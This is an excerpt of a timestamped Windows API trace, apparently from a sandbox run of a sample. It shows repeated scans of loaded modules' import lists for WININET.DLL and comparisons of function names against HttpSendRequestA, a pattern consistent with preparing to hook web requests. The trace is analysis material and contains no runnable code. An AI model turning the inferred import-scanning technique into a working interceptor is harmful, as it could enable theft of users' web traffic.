lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.658] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="HttpSendRequestA") returned 1 [0073.658] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="HttpSendRequestA") returned 1 [0073.658] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74b20000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74b20000, AllocationBase=0x74b20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.658] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.658] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.658] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.658] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.658] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.659] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.659] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.659] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.659] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.659] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.659] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.659] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.660] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.660] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.660] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.660] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.660] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.660] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.660] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.660] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.661] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.661] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.661] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.661] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.661] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.661] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.661] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74980000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74980000, AllocationBase=0x74980000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.661] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.662] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.662] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.662] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.662] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.662] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.662] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.663] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.663] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.663] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.663] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.663] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.663] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.664] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.664] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.664] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.664] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.664] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.664] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.665] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.665] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.665] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.665] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.665] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.665] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.665] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.666] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.666] 